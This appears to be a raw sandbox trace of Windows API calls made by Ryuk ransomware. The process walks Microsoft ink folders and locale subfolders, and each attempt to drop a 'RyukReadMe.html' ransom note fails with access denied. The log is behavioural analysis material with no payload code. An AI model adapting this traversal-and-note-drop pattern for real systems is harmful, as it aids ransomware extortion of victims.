	[0131.124] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42a795bf, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x42a795bf, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x43f1e320, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x29800, dwReserved0=0x7c, dwReserved1=0x0, cFileName="rtscom.dll", cAlternateFileName="")) returned 1
	[0131.125] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1
	[0131.125] SetLastError (dwErrCode=0x0) 
	[0131.125] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0131.125] GetLastError () returned 0x5
	[0131.125] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0131.125] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0131.125] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0131.224] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0131.225] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6a1a1d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea8dce90, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea902fed, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0131.225] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6a1a1d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea8dce90, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea902fed, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0131.225] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0131.225] SetLastError (dwErrCode=0x0) 
	[0131.225] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0131.225] GetLastError () returned 0x5
	[0131.225] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0131.226] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0131.226] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a593198, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6a593198, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xf44c0670, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xa9c00, dwReserved0=0x7c, dwReserved1=0x0, cFileName="ShapeCollector.exe", cAlternateFileName="")) returned 1
	[0131.226] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="sk-SK", cAlternateFileName="")) returned 1
	[0131.226] SetLastError (dwErrCode=0x0) 
	[0131.226] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0131.226] GetLastError () returned 0x5
	[0131.226] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0131.226] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0131.226] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0131.227] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0131.227] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe526d67f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe54f4dac, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe54f4dac, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0131.227] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe526d67f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe54f4dac, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe54f4dac, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0131.228] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0131.228] SetLastError (dwErrCode=0x0) 
	[0131.228] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0131.228] GetLastError () returned 0x5
	[0131.228] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0131.228] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0131.228] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1
	[0131.228] SetLastError (dwErrCode=0x0) 
	[0131.228] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0131.229] GetLastError () returned 0x5
	[0131.229] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0131.229] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0131.229] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0131.230] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0131.230] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92d84cc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe94ed7e2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe94ed7e2, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0131.230] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe92d84cc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe94ed7e2, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe94ed7e2, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0131.230] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0131.230] SetLastError (dwErrCode=0x0) 
	[0131.230] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0131.231] GetLastError () returned 0x5
	[0131.231] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0131.231] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0131.231] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1
	[0131.231] SetLastError (dwErrCode=0x0) 
	[0131.231] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0131.231] GetLastError () returned 0x5
	[0131.231] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0131.232] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0131.232] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0131.232] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0131.233] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4177b15, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4177b15, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0131.233] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe4177b15, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe4177b15, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0131.233] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0131.233] SetLastError (dwErrCode=0x0) 
	[0131.233] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sr-Latn-CS\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sr-latn-cs\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0131.233] GetLastError () returned 0x5
	[0131.233] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0131.234] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0131.234] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1
	[0131.234] SetLastError (dwErrCode=0x0) 
	[0131.234] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0131.234] GetLastError () returned 0x5
	[0131.234] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0131.234] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0131.234] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0131.576] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x84, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0131.577] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe779eb51, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe79d9fc4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe79d9fc4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1
	[0131.577] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe779eb51, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe79d9fc4, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe79d9fc4, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x84, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0
	[0131.577] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0131.577] SetLastError (dwErrCode=0x0) 
	[0131.577] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sv-SE\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sv-se\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0131.577] GetLastError () returned 0x5
	[0131.577] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0131.578] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0131.578] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56ef1310, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x56ef1310, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x449d3e50, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0x7c, dwReserved1=0x0, cFileName="TabIpsps.dll", cAlternateFileName="")) returned 1
	[0131.578] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bf05363, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bf05363, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bf05363, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6d600, dwReserved0=0x7c, dwReserved1=0x0, cFileName="tabskb.dll", cAlternateFileName="")) returned 1
	[0131.578] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45c03bb8, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x45c03bb8, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xf8825d20, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0x7c, dwReserved1=0x0, cFileName="TabTip.exe", cAlternateFileName="")) returned 1
	[0131.578] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="th-TH", cAlternateFileName="")) returned 1
	[0131.578] SetLastError (dwErrCode=0x0) 
	[0131.578] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0131.578] GetLastError () returned 0x5
	[0131.579] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0131.579] CloseHandle (hObject=0xffffffffffffffff) returned 0
